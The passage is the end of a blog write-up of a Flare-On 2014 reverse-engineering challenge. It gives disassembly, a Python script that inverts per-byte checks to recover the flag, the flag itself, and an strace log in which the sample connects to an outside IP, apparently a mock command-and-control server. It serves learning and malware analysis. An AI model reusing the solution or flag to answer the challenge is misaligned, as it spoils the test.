0x00000000000001b6: C0 08 86 ror byte ptr [eax], 0x86
0x00000000000001b9: 80 30 E8 xor byte ptr [eax], 0xe8
0x00000000000001bc: C0 00 95 rol byte ptr [eax], 0x95
0x00000000000001bf: 80 30 4A xor byte ptr [eax], 0x4a
0x00000000000001c2: 80 30 AD xor byte ptr [eax], 0xad
0x00000000000001c5: 80 38 C3 cmp byte ptr [eax], 0xc3
0x00000000000001c8: 74 02 je 0x1cc
0x00000000000001ca: FF E3 jmp ebx
0x00000000000001cc: 48 dec eax
0x00000000000001cd: 83 C0 01 add eax, 1
0x00000000000001d0: C0 08 45 ror byte ptr [eax], 0x45
0x00000000000001d3: 80 30 CC xor byte ptr [eax], 0xcc
0x00000000000001d6: 80 00 1C add byte ptr [eax], 0x1c
0x00000000000001d9: 80 38 03 cmp byte ptr [eax], 3
0x00000000000001dc: 74 02 je 0x1e0
0x00000000000001de: FF E3 jmp ebx
0x00000000000001e0: 48 dec eax
0x00000000000001e1: 83 C0 01 add eax, 1
0x00000000000001e4: 80 28 4A sub byte ptr [eax], 0x4a
0x00000000000001e7: 80 38 E3 cmp byte ptr [eax], 0xe3
0x00000000000001ea: 74 02 je 0x1ee
0x00000000000001ec: FF E3 jmp ebx
0x00000000000001ee: 48 dec eax
0x00000000000001ef: 83 C0 01 add eax, 1
0x00000000000001f2: 80 30 A5 xor byte ptr [eax], 0xa5
0x00000000000001f5: C0 08 90 ror byte ptr [eax], 0x90
0x00000000000001f8: 80 38 CA cmp byte ptr [eax], 0xca
0x00000000000001fb: 74 02 je 0x1ff
0x00000000000001fd: FF E3 jmp ebx
0x00000000000001ff: 48 dec eax
0x0000000000000200: 83 C0 01 add eax, 1
0x0000000000000203: C0 08 DE ror byte ptr [eax], 0xde
0x0000000000000206: C0 00 36 rol byte ptr [eax], 0x36
0x0000000000000209: 80 30 78 xor byte ptr [eax], 0x78
0x000000000000020c: 80 28 D8 sub byte ptr [eax], 0xd8
0x000000000000020f: 80 38 3E cmp byte ptr [eax], 0x3e
0x0000000000000212: 74 02 je 0x216
0x0000000000000214: FF E3 jmp ebx
0x0000000000000216: 48 dec eax
0x0000000000000217: 83 C0 01 add eax, 1
0x000000000000021a: 80 00 B5 add byte ptr [eax], 0xb5
0x000000000000021d: 80 28 AD sub byte ptr [eax], 0xad
0x0000000000000220: C0 08 89 ror byte ptr [eax], 0x89
0x0000000000000223: C0 00 A2 rol byte ptr [eax], 0xa2
0x0000000000000226: C0 00 11 rol byte ptr [eax], 0x11
0x0000000000000229: 80 38 D8 cmp byte ptr [eax], 0xd8
0x000000000000022c: 74 02 je 0x230
0x000000000000022e: FF E3 jmp ebx
0x0000000000000230: 48 dec eax
0x0000000000000231: 83 C0 01 add eax, 1
0x0000000000000234: 80 00 40 add byte ptr [eax], 0x40
0x0000000000000237: 80 28 21 sub byte ptr [eax], 0x21
0x000000000000023a: C0 08 C0 ror byte ptr [eax], 0xc0
0x000000000000023d: 80 38 82 cmp byte ptr [eax], 0x82
0x0000000000000240: 74 02 je 0x244
0x0000000000000242: FF E3 jmp ebx
0x0000000000000244: 48 dec eax
0x0000000000000245: 83 C0 01 add eax, 1
0x0000000000000248: C0 00 E3 rol byte ptr [eax], 0xe3
0x000000000000024b: 80 38 7B cmp byte ptr [eax], 0x7b
0x000000000000024e: 74 02 je 0x252
0x0000000000000250: FF E3 jmp ebx
0x0000000000000252: 48 dec eax
0x0000000000000253: 83 C0 01 add eax, 1
0x0000000000000256: 80 28 78 sub byte ptr [eax], 0x78
0x0000000000000259: C0 08 F6 ror byte ptr [eax], 0xf6
0x000000000000025c: 80 38 D7 cmp byte ptr [eax], 0xd7
  • As you can see, for each letter, there are transformations (ror, rol, xor, add, sub) applied to the letter provided. The result is then compared to an expected result. If it succeeds (expected result), the program continues and if it fails, it exits.
  • Since we have the result of the transformations for each letter, it is possible to reverse the logic to get the initial letter. Let’s take an example (letter 4). The code is as follows:
add byte ptr [rax], 0xa3
ror byte ptr [rax], 0xbc
cmp byte ptr [rax], 0xb0

Pasted image 20260201231842.png

  • As you can see it is character by character check so we have to make script to automate it,

Pasted image 20260201233334.png

  • This script reverses a byte-by-byte verification routine or decryption in the binary to recover the correct second command-line argument.
  • In short, you have to enter 2nd flag as arg2 and it will perform certain operation with each character and compare it and if succeed then proceed.
  • So we can build flag from this operation by reverse decoding it.
  • Script Taken from: https://www.aldeid.com/wiki/The-FLARE-On-Challenge-01/Challenge-6
#!/usr/bin/env python
# source for rol and ror: http://www.falatic.com/index.php/108/python-and-bitwise-rotation
# Rotate left. Set max_bits to 8.
rol = lambda val, r_bits, max_bits=8: \
(val << r_bits%max_bits) & (2**max_bits-1) | \
((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))
# Rotate right. Set max_bits to 8.
ror = lambda val, r_bits, max_bits=8: \
((val & (2**max_bits-1)) >> r_bits%max_bits) | \
(val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))
l = []
### Letter 1
"""
ror byte ptr [rax], 0xf2
cmp byte ptr [rax], 27
"""
l.append( rol(27, 0xf2) )
### Letter 2
"""
xor byte ptr [rax], 64
xor byte ptr [rax], 0xf2
xor byte ptr [rax], 0xb3
cmp byte ptr [rax], 48
"""
l.append( 48 ^ 0xb3 ^ 0xf2 ^ 64 )
### Letter 3
"""
xor byte ptr [rax], 113
cmp byte ptr [rax], 31
"""
l.append( 31 ^ 113 )
### letter 4
"""
add byte ptr [rax], 0xa3
ror byte ptr [rax], 0xbc
cmp byte ptr [rax], 0xb0
"""
l.append( rol(0xb0, 0xbc) - 0xa3 )
### letter 5
"""
sub byte ptr [rax], 121
cmp byte ptr [rax], 0xe8
"""
l.append( 0xe8 + 121 )
### letter 6
"""
ror byte ptr [rax], 0x82
sub byte ptr [rax], 40
cmp byte ptr [rax], 0xf6
"""
l.append( rol(0xf6 + 40, 0x82) )
### letter 7
"""
sub byte ptr [rax], 0xb0
ror byte ptr [rax], 77
add byte ptr [rax], 44
cmp byte ptr [rax], 31
"""
l.append( rol(31 - 44, 77) + 0xb0 )
### letter 8
"""
add byte ptr [rax], 84
rol byte ptr [rax], 0x99
xor byte ptr [rax], 0xb8
ror byte ptr [rax], 42
add byte ptr [rax], 63
cmp byte ptr [rax], 0xaf
"""
l.append( ror(rol(0xaf - 63, 42) ^ 0xb8, 0x99) - 84 )
### letter 9
"""
ror byte ptr [rax], 0xba
cmp byte ptr [rax], 93
"""
l.append( rol(93, 0xba) )
### letter 10
"""
xor byte ptr [rax], 0xed
ror byte ptr [rax], 108
add byte ptr [rax], 48
cmp byte ptr [rax], 41
"""
l.append( rol(41 - 48, 108) ^ 0xed )
### letter 11
"""
sub byte ptr [rax], 0xbf
cmp byte ptr [rax], 0xb5
"""
l.append( 0xb5 + 0xbf )
### letter 12
"""
rol byte ptr [rax], 0xbc
add byte ptr [rax], 0x8c
rol byte ptr [rax], 123
sub byte ptr [rax], 49
add byte ptr [rax], 99
cmp byte prt [rax], 0xa5
"""
l.append( ror(ror(0xa5 - 99 + 49, 123) - 0x8c, 0xbc) )
### letter 13
"""
rol byte ptr [rax], 32
rol byte ptr [rax], 22
xor byte ptr [rax], 0xae
rol byte ptr [rax], 0x98
cmp byte ptr [rax], 0xf3
"""
l.append( ror(ror(ror(0xf3, 0x98) ^ 0xae, 22), 32) )
### letter 14
"""
ror byte ptr [rax], 110
add byte ptr [rax], 0xd2
cmp byte ptr [rax], 0xa6
"""
l.append( rol(0xa6 - 0xd2, 110) )
### letter 15
"""
add byte ptr [rax], 52
cmp byte ptr [rax], 98
"""
l.append( 98 - 52 )
### letter 16
"""
add byte ptr [rax], 0xcd
sub byte ptr [rax], 16
add byte ptr [rax], 98
xor byte ptr [rax], 0xb2
cmp byte ptr [rax], 50
"""
l.append( (50 ^ 0xb2) - 98 + 16 - 0xcd )
### letter 17
"""
xor byte ptr [rax], 0xb7
xor byte ptr [rax], 115
ror byte ptr [rax], 7
cmp byte ptr [rax], 0xeb
"""
l.append( rol(0xeb, 7) ^ 115 ^ 0xb7 )
### letter 18
"""
add byte ptr [rax], 52
sub byte ptr [rax], 97
ror byte ptr [rax], 54
add byte ptr [rax], 91
sub byte ptr [rax], 76
cmp byte ptr [rax], 11
"""
l.append( rol(11 + 76 - 91, 54) + 97 - 52 )
### letter 19
"""
add byte ptr [rax], 90
cmp byte ptr [rax], 0x9a
"""
l.append( 0x9a - 90 )
### letter 20
"""
ror byte ptr [rax], 0xa2
cmp byte ptr [rax], 0x99
"""
l.append( rol(0x99, 0xa2) )
### letter 21
"""
xor byte ptr [rax], 126
sub byte ptr [rax], 0xe7
cmp byte ptr [rax], 43
"""
l.append( (43 + 0xe7) ^ 126 )
### letter 22
"""
sub byte ptr [rax], 0xb8
xor byte ptr [rax], 0x86
add byte ptr [rax], 78
ror byte ptr [rax], 74
rol byte ptr [rax], 87
cmp byte ptr [rax], 0xaf
"""
l.append( ((rol(ror(0xaf, 87), 74) - 78) ^ 0x86) + 0xb8 )
### letter 23
"""
ror byte ptr [rax], 0x86
xor byte ptr [rax], 0xe8
rol byte ptr [rax], 0x95
xor byte ptr [rax], 74
xor byte ptr [rax], 0xad
cmp byte ptr [rax], 0xc3
"""
l.append( rol(ror(0xc3 ^ 0xad ^ 74, 0x95) ^ 0xe8, 0x86) )
### letter 24
"""
ror byte ptr [rax], 69
xor byte ptr [rax], 0xcc
add byte ptr [rax], 28
cmp byte ptr [rax], 3
"""
l.append( rol((3 - 28) ^ 0xcc, 69) )
### letter 25
"""
sub byte ptr [rax], 74
cmp byte ptr [rax], 0xe3
"""
l.append( 0xe3 + 74 )
### letter 26
"""
xor byte ptr [rax], 0xa5
ror byte ptr [rax], 0x90
cmp byte ptr [rax], 0xca
"""
l.append( rol(0xca, 0x90) ^ 0xa5 )
### letter 27
"""
ror byte ptr [rax], 0xde
rol byte ptr [rax], 54
xor byte ptr [rax], 120
sub byte ptr [rax], 0xd8
cmp byte ptr [rax], 62
"""
l.append( rol(ror((62 + 0xd8) ^ 120, 54), 0xde) )
### letter 28
"""
add byte ptr [rax], 0xb5
sub byte ptr [rax], 0xad
ror byte ptr [rax], 0x89
rol byte ptr [rax], 0xa2
rol byte ptr [rax], 17
cmp byte ptr [rax], 0xd8
"""
l.append( rol(ror(ror(0xd8, 17), 0xa2), 0x89) + 0xad - 0xb5 )
### letter 29
"""
add byte ptr [rax], 64
sub byte ptr [rax], 33
ror byte ptr [rax], 0xc0
cmp byte ptr [rax], 0x82
"""
l.append( rol(0x82, 0xc0) + 33 - 64 )
### letter 30
"""
rol byte ptr [rax], 0xe3
cmp byte ptr [rax], 123
"""
l.append( ror(123, 0xe3) )
### letter 31
"""
sub byte ptr [rax], 120
ror byte ptr [rax], 0xf6
cmp byte ptr [rax], 0xd7
"""
l.append( rol(0xd7, 0xf6) + 120 )
# modulo 256 applied to ensure values are in range(256)
print ''.join([chr(i % 256) for i in l])
Terminal window
β”Œβ”€β”€(b14ckyγ‰ΏDESKTOP-VRSQRAJ)-[~/]
└─$ python2 solve.py
l1nhax.hurt.u5.a1l@flare-on.com
  • After giving flag as arg2 it is trying to connect with the some host, maybe try to mimic like a C2 server,
Terminal window
β”Œβ”€β”€(b14ckyγ‰ΏDESKTOP-VRSQRAJ)-[~/]
└─$ strace -i ./e7bc5d2c0cf4480348f5504196561297.patched2 4815162342 l1nhax.hurt.u5.a1l@flare-on.com
[00007e36940de557] execve("./e7bc5d2c0cf4480348f5504196561297.patched2", ["./e7bc5d2c0cf4480348f55041965612"..., "4815162342", "l1nhax.hurt.u5.a1l@flare-on.com"], 0x7fffd1dd75e8 /* 35 vars */) = 0
[00000000004a9297] uname({sysname="Linux", nodename="DESKTOP-VRSQRAJ", ...}) = 0
[00000000004aa78a] brk(NULL) = 0x4913000
[00000000004aa78a] brk(0x49141c0) = 0x49141c0
[000000000045e3f5] arch_prctl(ARCH_SET_FS, 0x4913880) = 0
[00000000004aa78a] brk(0x49351c0) = 0x49351c0
[00000000004aa78a] brk(0x4936000) = 0x4936000
[000000000047431b] ptrace(PTRACE_TRACEME) = -1 EPERM (Operation not permitted)
[000000000047c9c0] rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
[000000000047c882] rt_sigaction(SIGCHLD, NULL, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
[000000000047c9c0] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
[000000000047c9c0] rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
[000000000047c882] rt_sigaction(SIGCHLD, NULL, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
[000000000047c9c0] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
[000000000047c9c0] rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
[000000000047c882] rt_sigaction(SIGCHLD, NULL, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
[000000000047c9c0] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
[000000000047c9c0] rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
[000000000047c882] rt_sigaction(SIGCHLD, NULL, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
[000000000047c9c0] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
[000000000047c9c0] rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
[000000000047c882] rt_sigaction(SIGCHLD, NULL, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
[000000000047c9c0] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
[00007fff1a8fc114] socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
[00007fff1a8fc140] connect(3, {sa_family=AF_INET, sin_port=htons(39426), sin_addr=inet_addr("9.30.75.86")}, 16
  • Here is our flag,
l1nhax.hurt.u5.a1l@flare-on.com
  • Here is the flow of this program. (There might be some inaccuracy or mistake so sorry for that in advance because i am a leaner like you. πŸ˜…)

Pasted image 20260202005044.png

Flare-On 2014 Jan 2026
https://fuwari.vercel.app/posts/flare-on-2014/notes/
Author
0xB14CKY
Published at
2026-01-18
License
CC BY-NC-SA 4.0